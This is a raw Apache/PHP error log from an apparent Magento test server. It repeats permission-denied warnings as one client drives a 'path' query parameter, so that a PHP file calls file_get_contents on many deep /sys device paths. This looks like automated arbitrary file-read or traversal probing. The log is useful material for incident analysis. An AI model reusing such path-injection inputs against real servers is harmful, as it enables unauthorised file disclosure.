[Thu Mar 26 15:08:39.328087 2026] [php:warn] [pid 3216441] [client 74.7.241.26:34802] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:fa/subsystem/devices/device:ce/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:fa/subsystem/devices/device:ce
[Thu Mar 26 15:08:41.452251 2026] [php:warn] [pid 3216441] [client 74.7.241.26:34802] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:bc/subsystem/devices/device:ee/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:bc/subsystem/devices/device:ee
[Thu Mar 26 15:08:42.433860 2026] [php:warn] [pid 3216441] [client 74.7.241.26:34802] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:fd/subsystem/devices/device:bc/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:fd/subsystem/devices/device:bc
[Thu Mar 26 15:08:44.557113 2026] [php:warn] [pid 3216441] [client 74.7.241.26:34802] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:df/subsystem/uevent): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:df/subsystem
[Thu Mar 26 15:08:48.776925 2026] [php:warn] [pid 3216441] [client 74.7.241.26:34802] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:ce/subsystem/devices/device:ac/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:ce/subsystem/devices/device:ac
[Thu Mar 26 15:08:52.061521 2026] [php:warn] [pid 3216441] [client 74.7.241.26:34802] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:ea/subsystem/devices/device:dc/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:ea/subsystem/devices/device:dc
[Thu Mar 26 15:08:54.264228 2026] [php:warn] [pid 3216441] [client 74.7.241.26:34802] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:ab/subsystem/devices/device:ee/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:ab/subsystem/devices/device:ee
[Thu Mar 26 15:08:55.775514 2026] [php:warn] [pid 3216441] [client 74.7.241.26:34802] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:ce/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:ce
[Thu Mar 26 15:08:56.877777 2026] [php:warn] [pid 3216441] [client 74.7.241.26:34802] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:be/subsystem/devices/device:ad/subsystem/devices/device:fe/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:be/subsystem/devices/device:ad/subsystem/devices/device:fe
[Thu Mar 26 15:09:03.824029 2026] [php:warn] [pid 3236333] [client 74.7.241.26:44624] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:ba/subsystem/devices/device:dc/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:ba/subsystem/devices/device:dc
[Thu Mar 26 15:09:04.881374 2026] [php:warn] [pid 3236333] [client 74.7.241.26:44624] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:be/subsystem/devices/device:ad/subsystem/drivers/ec/bind): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:be/subsystem/devices/device:ad/subsystem/drivers/ec
[Thu Mar 26 15:09:12.878920 2026] [php:warn] [pid 3236333] [client 74.7.241.26:44624] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:bd/subsystem/drivers/ec/bind): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:bd/subsystem/drivers/ec
[Thu Mar 26 15:09:13.949379 2026] [php:warn] [pid 3236333] [client 74.7.241.26:44624] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:cc/subsystem/devices/device:ee/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:cc/subsystem/devices/device:ee
[Thu Mar 26 15:09:16.531854 2026] [php:warn] [pid 3236333] [client 74.7.241.26:44624] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:bb/subsystem/drivers_probe): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:bb/subsystem
[Thu Mar 26 15:09:18.086024 2026] [php:warn] [pid 3236333] [client 74.7.241.26:44624] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:ad/device:ae/subsystem/drivers_probe): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:ad/device:ae/subsystem
[Thu Mar 26 15:09:19.745686 2026] [php:warn] [pid 3236333] [client 74.7.241.26:44624] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:cc/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:cc
[Thu Mar 26 15:09:24.634158 2026] [php:warn] [pid 3236333] [client 74.7.241.26:44624] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:af/subsystem/drivers/nfit/uevent): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:af/subsystem/drivers/nfit
[Thu Mar 26 15:09:30.563576 2026] [php:warn] [pid 3236333] [client 74.7.241.26:44624] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:ff/subsystem/uevent): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:ff/subsystem
[Thu Mar 26 15:09:31.623148 2026] [php:warn] [pid 3236333] [client 74.7.241.26:44624] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:fe/subsystem/devices/device:ec/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:fe/subsystem/devices/device:ec
[Thu Mar 26 15:09:32.692345 2026] [php:warn] [pid 3236333] [client 74.7.241.26:44624] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:dc/subsystem/devices/device:ec/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:dc/subsystem/devices/device:ec
[Thu Mar 26 15:09:36.957097 2026] [php:warn] [pid 3236333] [client 74.7.241.26:44624] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:fe/subsystem/devices/device:fc/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:fe/subsystem/devices/device:fc
[Thu Mar 26 15:09:38.040451 2026] [php:warn] [pid 3236333] [client 74.7.241.26:44624] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:ef/subsystem/devices/device:bc/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:ef/subsystem/devices/device:bc
[Thu Mar 26 15:09:49.701053 2026] [php:warn] [pid 3236333] [client 74.7.241.26:44624] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:dd/subsystem/devices/device:ae/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:dd/subsystem/devices/device:ae
[Thu Mar 26 15:09:51.283877 2026] [php:warn] [pid 3236333] [client 74.7.241.26:44624] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:ef/subsystem/devices/device:ae/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:ef/subsystem/devices/device:ae
[Thu Mar 26 15:09:51.964460 2026] [php:warn] [pid 3236333] [client 74.7.241.26:44624] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:fd/subsystem/drivers/ac/unbind): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:fd/subsystem/drivers/ac
[Thu Mar 26 15:09:53.140772 2026] [php:warn] [pid 3230778] [client 74.7.241.26:43660] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:ec/subsystem/drivers/ec/unbind): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:ec/subsystem/drivers/ec
[Thu Mar 26 15:09:53.623797 2026] [php:warn] [pid 3230778] [client 74.7.241.26:43660] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:ad/device:ae/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:ad/device:ae
[Thu Mar 26 15:09:54.641107 2026] [php:warn] [pid 3230778] [client 74.7.241.26:43660] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:fa/subsystem/devices/device:cc/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:fa/subsystem/devices/device:cc
[Thu Mar 26 15:09:55.123055 2026] [php:warn] [pid 3230778] [client 74.7.241.26:43660] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:cc/subsystem/devices/device:ca/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:cc/subsystem/devices/device:ca
[Thu Mar 26 15:09:55.718468 2026] [php:warn] [pid 3230778] [client 74.7.241.26:43660] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:ab/subsystem/devices/device:cc/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:ab/subsystem/devices/device:cc
[Thu Mar 26 15:09:59.921484 2026] [php:warn] [pid 3230778] [client 74.7.241.26:43660] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:be/subsystem/uevent): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:be/subsystem
[Thu Mar 26 15:10:04.185407 2026] [php:warn] [pid 3230778] [client 74.7.241.26:43660] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:ef/subsystem/devices/device:ba/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:ef/subsystem/devices/device:ba
[Thu Mar 26 15:10:04.726084 2026] [php:warn] [pid 3230778] [client 74.7.241.26:43660] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:ed/subsystem/devices/device:ac/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:ed/subsystem/devices/device:ac
[Thu Mar 26 15:10:07.328506 2026] [php:warn] [pid 3230778] [client 74.7.241.26:43660] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:ba/subsystem/devices/device:ea/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:ba/subsystem/devices/device:ea
[Thu Mar 26 15:10:07.932318 2026] [php:warn] [pid 3230778] [client 74.7.241.26:43660] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:ed/subsystem/devices/device:ca/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:ed/subsystem/devices/device:ca
[Thu Mar 26 15:10:14.599026 2026] [php:warn] [pid 3230778] [client 74.7.241.26:43660] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:df/subsystem/drivers/ac/uevent): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:df/subsystem/drivers/ac
[Thu Mar 26 15:10:16.160830 2026] [php:warn] [pid 3230778] [client 74.7.241.26:43660] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:ca/subsystem/devices/device:da/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:ca/subsystem/devices/device:da
[Thu Mar 26 15:10:17.240074 2026] [php:warn] [pid 3230778] [client 74.7.241.26:43660] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:df/subsystem/devices/device:da/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:df/subsystem/devices/device:da
[Thu Mar 26 15:10:21.530189 2026] [php:warn] [pid 3230778] [client 74.7.241.26:43660] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:eb/subsystem/drivers/ac/uevent): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:eb/subsystem/drivers/ac
[Thu Mar 26 15:10:23.660872 2026] [php:warn] [pid 3230778] [client 74.7.241.26:43660] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:fc/subsystem/drivers/ac/uevent): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:fc/subsystem/drivers/ac
[Thu Mar 26 15:10:25.783548 2026] [php:warn] [pid 3230778] [client 74.7.241.26:43660] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:eb/subsystem/devices/device:aa/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:eb/subsystem/devices/device:aa
[Thu Mar 26 15:10:26.276134 2026] [php:warn] [pid 3230778] [client 74.7.241.26:43660] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:ae/subsystem/devices/device:ae/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:ae/subsystem/devices/device:ae
[Thu Mar 26 15:10:27.344811 2026] [php:warn] [pid 3230778] [client 74.7.241.26:43660] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:cc/subsystem/devices/device:fc/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:cc/subsystem/devices/device:fc
[Thu Mar 26 15:10:28.300601 2026] [php:warn] [pid 3230778] [client 74.7.241.26:43660] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:fc/subsystem/drivers/ac/unbind): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:fc/subsystem/drivers/ac
